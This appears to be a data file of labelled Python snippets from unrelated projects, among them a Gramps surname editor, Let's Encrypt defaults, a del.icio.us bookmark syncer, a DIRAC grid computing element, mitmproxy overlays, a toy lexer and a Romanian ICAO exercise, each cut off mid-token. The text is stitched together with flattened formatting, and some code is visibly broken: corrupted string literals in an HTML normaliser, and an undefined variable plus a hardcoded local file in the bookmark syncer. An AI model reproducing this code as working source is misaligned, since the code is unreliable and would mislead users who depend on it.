5) surn.set_prefix(self.model.get_value(node, 0)) surn.set_surname(self.model.get_value(node, 1)) surn.set_connector(self.model.get_value(node, 2)) surn.get_origintype().set(self.model.get_value(node, 3)) surn.set_primary(self.model.get_value(node, 4)) new_list += [surn] return new_list def update(self): """""" Store the present data in the model to the name object """""" new_map = self._get_surn_from_model() self.obj.set_surname_list(new_map) # update name in previews if self.on_change: self.on_change() def post_rebuild(self, prebuildpath): """""" Called when data model has changed, in particular necessary when row order is updated. @param prebuildpath: path selected before rebuild, None if none @type prebuildpath: tree path """""" if self.on_change: self.on_change() def column_order(self): # order of columns for EmbeddedList. Only the text columns here return ((1, 0), (1, 1), (1, 2)) def add_button_clicked(self, obj): """"""Add button is clicked, add a surname to the person"""""" prim = False if len(self.obj.get_surname_list()) == 0: prim = True node = self.model.append(row=['', '', '', str(NameOriginType()), prim, Surname()]) self.selection.select_iter(node) path = self.model.get_path(node) self.tree.set_cursor_on_cell(path, focus_column=self.columns[0], focus_cell=None, start_editing=True) self.update() def del_button_clicked(self, obj): """""" Delete button is clicked. Remove from the model """""" (model, node) = self.selection.get_selected() if node: self.model.remove(node) self.update() def on_edit_start(self, cellr, celle, path, colnr): """""" start of editing. Store stuff so we know when editing ends where we are """""" self.curr_col = colnr self.curr_cellr = cellr self.curr_celle = celle def on_edit_start_cmb(self, cellr, celle, path, colnr): """""" An edit starts in the origin type column This means a cmb has been created as celle, and we can set up the stuff we want this cmb to contain: autocompletion, stop edit when selection in the cmb happens. """""" self.on_edit_start(cellr, celle, path, colnr) #set up autocomplete entry = celle.get_child() entry.set_width_chars(10) completion = Gtk.EntryCompletion() completion.set_model(self.cmborig) completion.set_minimum_key_length(1) completion.set_text_column(1) entry.set_completion(completion) # celle.connect('changed', self.on_origcmb_change, path, colnr) def on_edit_start_toggle(self, cellr, celle, path, colnr): """""" Edit """""" self.on_edit_start(cellr, celle, path, colnr) def on_edit_inline(self, cell, path, new_text, colnr): """""" Edit is happening. The model is updated and the surname objects updated. colnr must be the column in the model. """""" node = self.model.get_iter(path) text = new_text.translate(INVISIBLE).strip() self.model.set_value(node, colnr, text) self.update() def on_orig_edited(self, cellr, path, new_text, colnr): """""" An edit is finished in the origin type column. For a cmb in an editor, the model may only be updated when typing is finished, as editing stops automatically on update of the model. colnr must be the column in the model. """""" self.on_edit_inline(cellr, path, new_text, colnr) def on_origcmb_change(self, cmb, path, colnr): """""" A selection occured in the cmb of the origin type column. colnr must be the column in the model. """""" act = cmb.get_active() if act == -1: return self.on_orig_edited(None, path, self.cmborig.get_value( self.cmborig.get_iter((act,)),1), colnr) def on_prim_toggled(self, cell, path, colnr): """""" Primary surname on path is toggled. colnr must be the col in the model """""" #obtain current value node = self.model.get_iter(path) old_val = self.model.get_value(node, colnr) for nr in range(len(self.obj.get_surname_list())): if nr == int(path[0]): if old_val: #True remains True break else: #This value becomes True self.model.set_value(self.model.get_iter((nr,)), colnr, True) else: self.model.set_value(self.model.get_iter((nr,)), colnr, False) self.update() return def edit_button_clicked(self, obj): """""" Edit button clicked """""" (model, node) = self.selection.get_selected() if node: path = self.model.get_path(node) self.tree.set_cursor_on_cell(path, focus_column=self.columns[0], focus_cell=None, start_editing=True) def key_pressed(self, obj, event): """""" Handles the key being pressed. Here we make sure tab moves to next or previous value in row on TAB """""" if not EmbeddedList.key_pressed(self, obj, event): if event.type == Gdk.EventType.KEY_PRESS and event.keyval in (_TAB,): if no_match_primary_mask(event.get_state(), Gdk.ModifierType.SHIFT_MASK): return self.next_cell() elif match_primary_mask(event.get_state(), Gdk.ModifierType.SHIFT_MASK): return self.prev_cell() else: return else: return return True def next_cell(self): """""" Move to the next cell to edit it """""" (model, node) = self.selection.get_selected() if node: path = self.model.get_path(node).get_indices()[0] nccol = self.curr_col+1 if nccol < 4: if self.curr_celle: self.curr_celle.editing_done() self.tree.set_cursor_on_cell(Gtk.TreePath((path,)), focus_column=self.columns[nccol], focus_cell=None, start_editing=True) elif nccol == 4: #go to next line if there is one if path < len(self.obj.get_surname_list()): newpath = Gtk.TreePath((path+1,)) self.curr_celle.editing_done() self.selection.select_path(newpath) self.tree.set_cursor_on_cell(newpath, focus_column=self.columns[0], focus_cell=None, start_editing=True) else: #stop editing self.curr_celle.editing_done() return return True def prev_cell(self): """""" Move to the next cell to edit it """""" (model, node) = self.selection.get_selected() if node: path = self.model.get_path(node).get_indices()[0] if self.curr_col > 0: self.tree.set_cursor_on_cell(Gtk.TreePath((path,)), focus_column=self.columns[self.curr_col-1], focus_cell=None, start_editing=True) elif self.curr_col == 0: #go to prev line if there is one if path > 0: newpath = Gtk.TreePath((path-1,)) self.selection.select_path(newpath) self.tree.set_cursor_on_cell(newpath, focus_column=self.columns[-2], focus_cell=None, start_editing=True) else: #stop editing self.curr_celle.editing_done() return return True ",1 "# it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # pi-led-control is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with pi-led-control. If not, see . import datetime import logging from server.programs.abstractprogram import AbstractProgram class ScheduledProgram(AbstractProgram): def __init__(self, program, timeOfDay): super().__init__() self._program = program self._timeOfDay = timeOfDay def run(self): now = datetime.datetime.now() secondsInCurrentDay = now.hour * 3600 + now.minute * 60 + now.second if secondsInCurrentDay < self._timeOfDay: sleepDuration = self._timeOfDay - secondsInCurrentDay else: sleepDuration = self._timeOfDay + 3600 * 24 - secondsInCurrentDay logging.getLogger(""main"").info(""sleeping for "" + str(sleepDuration) + "" seconds"") self._waitIfNotStopped(sleepDuration) self._program.run() def setThreadStopEvent(self, threadStopEvent): self.threadStopEvent = threadStopEvent self._program.setThreadStopEvent(threadStopEvent) def setColorSetter(self, colorSetter): self._colorSetter = colorSetter self._program.setColorSetter(colorSetter) def getCurrentColor(self): return self._program.getCurrentColor() def setLastColor(self, lastColor): self._program.setLastColor(lastColor) ",1 "or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * ButtonEvent.py is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with ButtonEvent.py. If not, see . ******************************************************************************** Created on Jan 5, 2010 @author: iocanto ''' BUTTON_SELECT = 257 BUTTON_HOTKEY_1 = 258; BUTTON_HOTKEY_2 = 259; BUTTON_HOTKEY_3 = 260; BUTTON_HOTKEY_4 = 261; BUTTON_RIGHT = 262; BUTTON_LEFT = 263; BUTTON_UP = 264; BUTTON_DOWN = 265; KEY_UP = 0 KEY_DOWN = 1 class ButtonEvent(): # Constructor def __init__(self, button = BUTTON_HOTKEY_1, action = KEY_UP ): self.__button = button self.__action = action def __str__ (self): return ""ButtonEvent [__button %i]"" % self.__button def getAction(self): return self.__action def getButton(self): return self.__button def getButtonName(self): return { 257 : ""BUTTON_SELECT"" , 258 : ""BUTTON_HOTKEY_1"", 259 : ""BUTTON_HOTKEY_2"", 260 : ""BUTTON_HOTKEY_3"", 261 : ""BUTTON_HOTKEY_4"", 262 : ""BUTTON_RIGHT"" , 263 : ""BUTTON_LEFT"" , 264 : ""BUTTON_UP"" , 265 : ""BUTTON_DOWN"" , }[self.__button] def setAction(self, action): self.__action = action def setButton(self, button): self.__button = button ",1 "y point group name for plugins."""""" CLI_DEFAULTS = dict( config_files=[""/etc/letsencrypt/cli.ini""], verbose_count=-(logging.WARNING / 10), server=""https://www.letsencrypt-demo.org/acme/new-reg"", rsa_key_size=2048, rollback_checkpoints=0, config_dir=""/etc/letsencrypt"", work_dir=""/var/lib/letsencrypt"", backup_dir=""/var/lib/letsencrypt/backups"", key_dir=""/etc/letsencrypt/keys"", certs_dir=""/etc/letsencrypt/certs"", cert_path=""/etc/letsencrypt/certs/cert-letsencrypt.pem"", chain_path=""/etc/letsencrypt/certs/chain-letsencrypt.pem"", renewer_config_file=""/etc/letsencrypt/renewer.conf"", no_verify_ssl=False, dvsni_port=challenges.DVSNI.PORT, ) """"""Defaults for CLI flags and `.IConfig` attributes."""""" RENEWER_DEFAULTS = dict( renewer_config_file=""/etc/letsencrypt/renewer.conf"", renewal_configs_dir=""/etc/letsencrypt/configs"", archive_dir=""/etc/letsencrypt/archive"", live_dir=""/etc/letsencrypt/live"", renewer_enabled=""yes"", renew_before_expiry=""30 days"", deploy_before_expiry=""20 days"", ) """"""Defaults for renewer script."""""" EXCLUSIVE_CHALLENGES = frozenset([frozenset([ challenges.DVSNI, challenges.SimpleHTTP])]) """"""Mutually exclusive challenges."""""" ENHANCEMENTS = [""redirect"", ""http-header"", ""ocsp-stapling"", ""spdy""] """"""List of possible :class:`letsencrypt.interfaces.IInstaller` enhancements. List of expected options parameters: - redirect: None - http-header: TODO - ocsp-stapling: TODO - spdy: TODO """""" CONFIG_DIRS_MODE = 0o755 """"""Directory mode for ``.IConfig.config_dir`` et al."""""" TEMP_CHECKPOINT_DIR = ""temp_checkpoint"" """"""Temporary checkpoint directory (relative to IConfig.work_dir)."""""" IN_PROGRESS_DIR = ""IN_PROGRESS"" """"""Directory used before a permanent checkpoint is finalized (relative to IConfig.work_dir)."""""" CERT_KEY_BACKUP_DIR = ""keys-certs"" """"""Directory where all certificates and keys are stored (relative to IConfig.work_dir. Used for easy revocation."""""" ACCOUNTS_DIR = ""accounts"" """"""Directory where all accounts are saved."""""" ACCOUNT_KEYS_DIR = ""keys"" """"""Directory where account keys are saved. Relative to ACCOUNTS_DIR."""""" REC_TOKEN_DIR = ""recovery_tokens"" """"""Directory where all recovery tokens are saved (relative to IConfig.work_dir)."""""" ",1 "al app and this code # inherit from that, but django-syncr have not a setup.py file (so can't be # added in src/pinax/requirements/external_apps.txt) and is not migrated to git # (so can add a setup.file in a different fork from svn trunk) import time, datetime, calendar import httplib import urllib, urllib2 import base64 #from syncr.delicious.models import Bookmark from bookmarks.models import Bookmark, BookmarkInstance from bookmarks.forms import BookmarkInstanceForm try: import xml.etree.ElementTree as ET except: import elementtree.ElementTree as ET class DeliciousAPI: """""" DeliciousAPI is a bare-bones interface to the del.icio.us API. It's used by DeliciousSyncr objects and it's not recommended to use it directly. """""" _deliciousApiHost = 'https://api.del.icio.us/' _deliciousApiURL = 'https://api.del.icio.us/v1/' def __init__(self, user, passwd): """""" Initialize a DeliciousAPI object. Required arguments user: The del.icio.us username as a string. passwd: The username's password as a string. """""" self.user = user self.passwd = passwd # pm = urllib2.HTTPPasswordMgrWithDefaultRealm() # pm.add_password(None, 'https://' + self._deliciousApiHost, self.user, self.passwd) # handler = urllib2.HTTPBasicAuthHandler(pm) # self.opener = urllib2.build_opener(handler) def _request(self, path, params=None): # time.sleep(1.5) # if params: # post_data = urllib.urlencode(params) # url = self._deliciousApiURL + path + post_data # else: # url = self._deliciousApiURL + path # request = urllib2.Request(url) # request.add_header('User-Agent', 'django/syncr.app.delicious') # credentials = base64.encodestring(""%s:%s"" % (self.user, self.passwd)) # request.add_header('Authorization', ('Basic %s' % credentials)) # f = self.opener.open(request) f = open('/home/julia/hacktivism/testing-parsing-bookmarks/all.xml') return ET.parse(f) class DeliciousSyncr: """""" DeliciousSyncr objects sync del.icio.us bookmarks to the Django backend. The constructor requires a username and password for authenticated access to the API. There are three ways to sync: - All bookmarks for the user - Only recent bookmarks for the user - Bookmarks based on a limited search/query functionality. Currently based on date, tag, and URL. This app requires the excellent ElementTree, which is included in Python 2.5. Otherwise available at: http://effbot.org/zone/element-index.htm """""" def __init__(self, username, password): """""" Construct a new DeliciousSyncr. Required arguments username: a del.icio.us username password: the user's password """""" self.delicious = DeliciousAPI(username, password) def clean_tags(self, tags): """""" Utility method to clean up del.icio.us tags, removing double quotes, duplicate tags and return a unicode string. Required arguments tags: a tag string """""" tags = tags.lower().replace('\""', '').split(' ') tags = set(tags) tags = "" "".join(tags) return u'%s' % tags def _syncPost(self, post_elem, user): time_lst = time.strptime(post_elem.attrib['time'], ""%Y-%m-%dT%H:%M:%SZ"") time_obj = datetime.datetime(*time_lst[0:7]) tags = self.clean_tags(post_elem.attrib['tag']) try: extended = post_elem.attrib['extended'] except KeyError: extended = '' default_dict = { 'description': post_elem.attrib['description'], 'tags': tags, 'url': post_elem.attrib['href'], # Is post_hash attrib unique to the post/URL or post/username ?! 'post_hash': post_hash, 'saved_date': time_obj, 'extended_info': extended, } # Save only shared bookmarks # try: # is_shared = post_elem.attrib['shared'] # Only set, when it isn't shared # except KeyError: # obj, created = Bookmark.objects.get_or_create( # post_hash=post_hash, defaults=default_dict) # return obj # return None # to save pinax Bookmark try: unicode(default_dict['description'].decode('latin-1')) except: default_dict['description'] = '' print default_dict['description'] bookmark_instance_form = BookmarkInstanceForm(user,default_dict) if bookmark_instance_form.is_valid(): bookmark_instance = bookmark_instance_form.save(commit=False) bookmark_instance.user = user bookmark_instance.save() print bookmark_instance bookmark = bookmark_instance.bookmark try: headers = { ""Accept"" : ""text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"", ""Accept-Language"" : ""en-us,en;q=0.5"", ""Accept-Charset"": ""ISO-8859-1,utf-8;q=0.7,*;q=0.7"", ""Connection"" : ""close"", ##""User-Agent"": settings.URL_VALIDATOR_USER_AGENT } req = urllib2.Request(bookmark.get_favicon_url(force=True), None, headers) u = urllib2.urlopen(req) has_favicon = True except: has_favicon = False bookmark.has_favicon = has_favicon bookmark.favicon_checked = datetime.datetime.now() # bookmark.added = bookmark['add_date'] bookmark.save() # print bookmark else: print ""bookmark_instance_form no es valido"" return def syncRecent(self, count=15, tag=None): """""" Synchronize the user's recent bookmarks. Optional arguments: count: The number of bookmarks to return, default 15, max 100. tag: A string. Limit to recent bookmarks that match this tag. """""" params = {'count': count} if tag: params['tag'] = tag result = self.delicious._request('posts/recent?', params) root = result.getroot() for post in list(root): self._syncPost(post) def syncAll(self, user, tag=None): """""" Synchronize all of the user's bookmarks. WARNING this may take a while! Excessive use may get you throttled. Optional arguments tag: A string. Limit to all bookmarks that match this tag. """""" params = dict() if tag: params = {'tag': tag} result = self.delicious._request('posts/all?', params) root = result.getroot() for post in list(root): self._syncPost(post, user) def datetime2delicious(self, dt): """""" Utility method to convert a Python datetime to a string format suitable for the del.icio.us API. Required arguments dt: a datetime object """""" return dt.strftime(""%Y-%m-%dT%H:%M:%SZ"") def syncBookmarks(self, **kwargs): """""" Synchronize bookmarks. If no arguments are used, today's bookmarks will be sync'd. Optional keyword arguments date: A datetime object. Sync only bookmarks from this date. tag: A string. Limit to bookmarks matching this tag. url: A string. Limit to bookmarks matching this URL. """""" params = kwargs if kwargs.has_key('date'): params['date'] = self.datetime2delicious(params['date']) result = self.delicious._request('posts/get?', ) root = result.getroot() for post in list(root): self._syncPost(post) ",1 " Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/llnl/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## import spack.cmd.location import spack.modules description = ""cd to spack directories in the shell"" section = ""environment"" level = ""long"" def setup_parser(subparser): """"""This is for decoration -- spack cd is used through spack's shell support. This allows spack cd to print a descriptive help message when called with -h."""""" spack.cmd.location.setup_parser(subparser) def cd(parser, args): spack.modules.print_help() ",1 "############################################# """""" ARC Computing Element """""" __RCSID__ = ""58c42fc (2013-07-07 22:54:57 +0200) Andrei Tsaregorodtsev "" import os import stat import tempfile from types import StringTypes from DIRAC import S_OK, S_ERROR from DIRAC.Resources.Computing.ComputingElement import ComputingElement from DIRAC.Core.Utilities.Grid import executeGridCommand CE_NAME = 'ARC' MANDATORY_PARAMETERS = [ 'Queue' ] class ARCComputingElement( ComputingElement ): ############################################################################# def __init__( self, ceUniqueID ): """""" Standard constructor. """""" ComputingElement.__init__( self, ceUniqueID ) self.ceType = CE_NAME self.submittedJobs = 0 self.mandatoryParameters = MANDATORY_PARAMETERS self.pilotProxy = '' self.queue = '' self.outputURL = 'gsiftp://localhost' self.gridEnv = '' self.ceHost = self.ceName if 'Host' in self.ceParameters: self.ceHost = self.ceParameters['Host'] if 'GridEnv' in self.ceParameters: self.gridEnv = self.ceParameters['GridEnv'] ############################################################################# def _addCEConfigDefaults( self ): """"""Method to make sure all necessary Configuration Parameters are defined """""" # First assure that any global parameters are loaded ComputingElement._addCEConfigDefaults( self ) def __writeXRSL( self, executableFile ): """""" Create the JDL for submission """""" workingDirectory = self.ceParameters['WorkingDirectory'] fd, name = tempfile.mkstemp( suffix = '.xrsl', prefix = 'ARC_', dir = workingDirectory ) diracStamp = os.path.basename( name ).replace( '.xrsl', '' ).replace( 'ARC_', '' ) xrslFile = os.fdopen( fd, 'w' ) xrsl = """""" &(executable=""%(executable)s"") (inputFiles=(%(executable)s ""%(executableFile)s"")) (stdout=""%(diracStamp)s.out"") (stderr=""%(diracStamp)s.err"") (outputFiles=(""%(diracStamp)s.out"" """") (""%(diracStamp)s.err"" """")) """""" % { 'executableFile':executableFile, 'executable':os.path.basename( executableFile ), 'diracStamp':diracStamp } xrslFile.write( xrsl ) xrslFile.close() return name, diracStamp def _reset( self ): self.queue = self.ceParameters['Queue'] self.gridEnv = self.ceParameters['GridEnv'] ############################################################################# def submitJob( self, executableFile, proxy, numberOfJobs = 1 ): """""" Method to submit job """""" self.log.verbose( ""Executable file path: %s"" % executableFile ) if not os.access( executableFile, 5 ): os.chmod( executableFile, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH + stat.S_IXOTH ) batchIDList = [] stampDict = {} i = 0 while i < numberOfJobs: i += 1 xrslName, diracStamp = self.__writeXRSL( executableFile ) cmd = ['arcsub', '-j', self.ceParameters['JobListFile'], '-c', '%s' % self.ceHost, '%s' % xrslName ] result = executeGridCommand( self.proxy, cmd, self.gridEnv ) os.unlink( xrslName ) if not result['OK']: break if result['Value'][0] != 0: break pilotJobReference = result['Value'][1].strip() if pilotJobReference and pilotJobReference.startswith('Job submitted with jobid:'): pilotJobReference = pilotJobReference.replace('Job submitted with jobid:', '').strip() batchIDList.append( pilotJobReference ) stampDict[pilotJobReference] = diracStamp else: break #os.unlink( executableFile ) if batchIDList: result = S_OK( batchIDList ) result['PilotStampDict'] = stampDict else: result = S_ERROR('No pilot references obtained from the glite job submission') return result def killJob( self, jobIDList ): """""" Kill the specified jobs """""" workingDirectory = self.ceParameters['WorkingDirectory'] fd, name = tempfile.mkstemp( suffix = '.list', prefix = 'KillJobs_', dir = workingDirectory ) jobListFile = os.fdopen( fd, 'w' ) jobList = list( jobIDList ) if type( jobIDList ) in StringTypes: jobList = [ jobIDList ] for job in jobList: jobListFile.write( job+'\n' ) cmd = ['arckill', '-c', self.ceHost, '-i', name] result = executeGridCommand( self.proxy, cmd, self.gridEnv ) os.unlink( name ) if not result['OK']: return result if result['Value'][0] != 0: return S_ERROR( 'Failed kill job: %s' % result['Value'][0][1] ) return S_OK() ############################################################################# def getCEStatus( self ): """""" Method to return information on running and pending jobs. """""" cmd = ['arcstat', '-c', self.ceHost, '-j', self.ceParameters['JobListFile'] ] result = executeGridCommand( self.proxy, cmd, self.gridEnv ) resultDict = {} if not result['OK']: return result if result['Value'][0] == 1 and result['Value'][1] == ""No jobs\n"": result = S_OK() result['RunningJobs'] = 0 result['WaitingJobs'] = 0 result['SubmittedJobs'] = 0 return result if result['Value'][0]: if result['Value'][2]: return S_ERROR(result['Value'][2]) else: return S_ERROR('Error while interrogating CE status') if result['Value'][1]: resultDict = self.__parseJobStatus( result['Value'][1] ) running = 0 waiting = 0 for ref in resultDict: status = resultDict[ref] if status == 'Scheduled': waiting += 1 if status == 'Running': running += 1 result = S_OK() result['RunningJobs'] = running result['WaitingJobs'] = waiting result['SubmittedJobs'] = 0 return result def __parseJobStatus( self, commandOutput ): """""" """""" resultDict = {} lines = commandOutput.split('\n') ln = 0 while ln < len( lines ): if lines[ln].startswith( 'Job:' ): jobRef = lines[ln].split()[1] ln += 1 line = lines[ln].strip() stateARC = '' if line.startswith( 'State' ): stateARC = line.replace( 'State:','' ).strip() line = lines[ln+1].strip() exitCode = None if line.startswith( 'Exit Code' ): line = line.replace( 'Exit Code:','' ).strip() exitCode = int( line ) # Evaluate state now if stateARC in ['Accepted','Preparing','Submitting','Queuing','Hold']: resultDict[jobRef] = ""Scheduled"" elif stateARC in ['Running','Finishing']: resultDict[jobRef] = ""Running"" elif stateARC in ['Killed','Deleted']: resultDict[jobRef] = ""Killed"" elif stateARC in ['Finished','Other']: if exitCode is not None: if exitCode == 0: resultDict[jobRef] = ""Done"" else: resultDict[jobRef] = ""Failed"" else: resultDict[jobRef] = ""Failed"" elif stateARC in ['Failed']: resultDict[jobRef] = ""Failed"" else: self.log.warn( ""Unknown state %s for job %s"" % ( stateARC, jobRef ) ) elif lines[ln].startswith( ""WARNING: Job information not found:"" ): jobRef = lines[ln].replace( 'WARNING: Job information not found:', '' ).strip() resultDict[jobRef] = ""Scheduled"" ln += 1 return resultDict def getJobStatus( self, jobIDList ): """""" Get the status information for the given list of jobs """""" workingDirectory = self.ceParameters['WorkingDirectory'] fd, name = tempfile.mkstemp( suffix = '.list', prefix = 'StatJobs_', dir = workingDirectory ) jobListFile = os.fdopen( fd, 'w' ) jobTmpList = list( jobIDList ) if type( jobIDList ) in StringTypes: jobTmpList = [ jobIDList ] jobList = [] for j in jobTmpList: if "":::"" in j: job = j.split("":::"")[0] else: job = j jobList.append( job ) jobListFile.write( job+'\n' ) cmd = ['arcstat', '-c', self.ceHost, '-i', name, '-j', self.ceParameters['JobListFile']] result = executeGridCommand( self.proxy, cmd, self.gridEnv ) os.unlink( name ) resultDict = {} if not result['OK']: self.log.error( 'Failed to get job status', result['Message'] ) return result if result['Value'][0]: if result['Value'][2]: return S_ERROR(result['Value'][2]) else: return S_ERROR('Error while interrogating job statuses') if result['Value'][1]: resultDict = self.__parseJobStatus( result['Value'][1] ) if not resultDict: return S_ERROR('No job statuses returned') # If CE does not know about a job, set the status to Unknown for job in jobList: if not resultDict.has_key( job ): resultDict[job] = 'Unknown' return S_OK( resultDict ) def getJobOutput( self, jobID, localDir = None ): """""" Get the specified job standard output and error files. If the localDir is provided, the output is returned as file in this directory. Otherwise, the output is returned as strings. """""" if jobID.find( ':::' ) != -1: pilotRef, stamp = jobID.split( ':::' ) else: pilotRef = jobID stamp = '' if not stamp: return S_ERROR( 'Pilot stamp not defined for %s' % pilotRef ) arcID = os.path.basename(pilotRef) if ""WorkingDirectory"" in self.ceParameters: workingDirectory = os.path.join( self.ceParameters['WorkingDirectory'], arcID ) else: workingDirectory = arcID outFileName = os.path.join( workingDirectory, '%s.out' % stamp ) errFileName = os.path.join( workingDirectory, '%s.err' % stamp ) cmd = ['arcget', '-j', self.ceParameters['JobListFile'], pilotRef ] result = executeGridCommand( self.proxy, cmd, self.gridEnv ) output = '' if result['OK']: if not result['Value'][0]: outFile = open( outFileName, 'r' ) output = outFile.read() outFile.close() os.unlink( outFileName ) errFile = open( errFileName, 'r' ) error = errFile.read() errFile.close() os.unlink( errFileName ) else: error = '\n'.join( result['Value'][1:] ) return S_ERROR( error ) else: return S_ERROR( 'Failed to retrieve output for %s' % jobID ) return S_OK( ( output, error ) ) #EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF# ",1 "grideditor class SimpleOverlay(urwid.Overlay): def __init__(self, master, widget, parent, width, valign=""middle""): self.widget = widget self.master = master super().__init__( widget, parent, align=""center"", width=width, valign=valign, height=""pack"" ) def keypress(self, size, key): key = super().keypress(size, key) if key == ""esc"": signals.pop_view_state.send(self) if key == ""?"": self.master.view_help(self.widget.make_help()) else: return key class Choice(urwid.WidgetWrap): def __init__(self, txt, focus, current): if current: s = ""option_active_selected"" if focus else ""option_active"" else: s = ""option_selected"" if focus else ""text"" return super().__init__( urwid.AttrWrap( urwid.Padding(urwid.Text(txt)), s, ) ) def selectable(self): return True def keypress(self, size, key): return key class ChooserListWalker(urwid.ListWalker): def __init__(self, choices, current): self.index = 0 self.choices = choices self.current = current def _get(self, idx, focus): c = self.choices[idx] return Choice(c, focus, c == self.current) def set_focus(self, index): self.index = index def get_focus(self): return self._get(self.index, True), self.index def get_next(self, pos): if pos >= len(self.choices) - 1: return None, None pos = pos + 1 return self._get(pos, False), pos def get_prev(self, pos): pos = pos - 1 if pos < 0: return None, None return self._get(pos, False), pos class Chooser(urwid.WidgetWrap): def __init__(self, title, choices, current, callback): self.choices = choices self.callback = callback choicewidth = max([len(i) for i in choices]) self.width = max(choicewidth, len(title) + 5) self.walker = ChooserListWalker(choices, current) super().__init__( urwid.AttrWrap( urwid.LineBox( urwid.BoxAdapter( urwid.ListBox(self.walker), len(choices) ), title= title ), ""background"" ) ) def selectable(self): return True def keypress(self, size, key): key = common.shortcuts(key) if key == ""enter"": self.callback(self.choices[self.walker.index]) signals.pop_view_state.send(self) return super().keypress(size, key) def make_help(self): text = [] keys = [ (""enter"", ""choose option""), (""esc"", ""exit chooser""), ] text.extend(common.format_keyvals(keys, key=""key"", val=""text"", indent=4)) return text class OptionsOverlay(urwid.WidgetWrap): def __init__(self, master, name, vals, vspace): """""" vspace: how much vertical space to keep clear """""" cols, rows = master.ui.get_cols_rows() self.ge = grideditor.OptionsEditor(master, name, vals) super().__init__( urwid.AttrWrap( urwid.LineBox( urwid.BoxAdapter(self.ge, rows - vspace), title=name ), ""background"" ) ) self.width = math.ceil(cols * 0.8) def make_help(self): return self.ge.make_help() ",1 " import (Styleguide, STYLEGUIDE_DIR_NAME, STYLEGUIDE_DEBUG, STYLEGUIDE_CACHE_NAME, STYLEGUIDE_ACCESS) def index(request, module_name=None, component_name=None): if not STYLEGUIDE_ACCESS(request.user): raise Http404() styleguide = None if not STYLEGUIDE_DEBUG: styleguide = cache.get(STYLEGUIDE_CACHE_NAME) if styleguide is None: styleguide = Styleguide() cache.set(STYLEGUIDE_CACHE_NAME, styleguide, None) if module_name is not None: styleguide.set_current_module(module_name) context = {'styleguide': styleguide} index_path = ""%s/index.html"" % STYLEGUIDE_DIR_NAME return render(request, index_path, context) ",1 " 'VAR_DEFINITION', 'IF', 'ELSE', 'END', 'ID', 'PRINT' ] t_LPAREN = r""\("" t_RPAREN = r""\)"" t_LBRACE = r""\{"" t_RBRACE = r""\}"" t_EQUAL = r""\="" t_DOUBLE_EQUAL = r""\=\="" def t_NUMBER(token): r""[0-9]+"" token.value = int(token.value) return token t_COMMA = r"","" def t_VAR_DEFINITION(token): r"",\sFirst\sof\s(his|her)\sName"" return token def t_IF(token): r""I\spromise"" return token def t_ELSE(token): r""Mayhaps"" return token def t_PRINT(token): r""Hodor"" return token def t_END(token): r""And\snow\shis\swatch\sis\sended"" return token def t_ID(token): r""[a-zA-Z][_a-zA-Z0-9]*"" return token t_ignore = "" \t"" def t_NEWLINE(token): r""\n+"" token.lexer.lineno += len(token.value) def t_IGNORE_COMMENTS(token): r""//(.*)\n"" token.lexer.lineno += 1 def t_error(token): raise Exception(""Sintax error: Unknown token on line {0}. \""{1}\"""".format(token.lineno, token.value.partition(""\n"")[0])) ",1 "f normalizeEnter(src): #Deletes all user defined for readability reason existing line breaks that are issues for the HTML output for elem in blocklevel: while src.find(""\r<"" + elem) > -1: src = src.replace(""\r<"" + elem, ""<"" + elem) while src.find(""\r"") > -1: src = src.replace(""\r"", """") while src.find("">\r"") > -1: src = src.replace("">\r"", "">"") #It is really needed, it created some other bugs?! while src.find(""\r -1: src = src.replace(""\r') description = _(""Matches person records changed after a specified "" ""date-time (yyyy-mm-dd hh:mm:ss) or in the range, if a second "" ""date-time is given."") ",1 "gnat un cuvânt pentru a evita problemele în înțelegerea mesajelor critice. Pentru a se păstra un istoric al conversațiilor s-a decis transcrierea lor conform următoarelor reguli: - fiecare cuvânt este scris pe o singură linie - literele din alfabet sunt separate de o virgulă Următoarea sarcină ți-a fost asignată: Scrie un program care să primească un fișier ce conține mesajul brut (scris folosind alfabetul ICAO) și generează un fișier numit icao_intrare ce va conține mesajul inițial. Mai jos găsiți un dicționar ce conține o versiune a alfabetului ICAO: """""" ICAO = { 'a': 'alfa', 'b': 'bravo', 'c': 'charlie', 'd': 'delta', 'e': 'echo', 'f': 'foxtrot', 'g': 'golf', 'h': 'hotel', 'i': 'india', 'j': 'juliett', 'k': 'kilo', 'l': 'lima', 'm': 'mike', 'n': 'november', 'o': 'oscar', 'p': 'papa', 'q': 'quebec', 'r': 'romeo', 's': 'sierra', 't': 'tango', 'u': 'uniform', 'v': 'victor', 'w': 'whiskey', 'x': 'x-ray', 'y': 'yankee', 'z': 'zulu' } def din_icao(fisier_intrare): """"""Funcția va primi calea către fișierul ce conține mesajul brut și va genera un fișier numit icao_intrare ce va conține mesajul inițial. """""" try: in_file = open(fisier_intrare, 'r') content = in_file.read() in_file.close() except IOError: print ""Error! Could not open file."" return final_message = '' for line in content.splitlines(): for word in line.split(): for key, value in 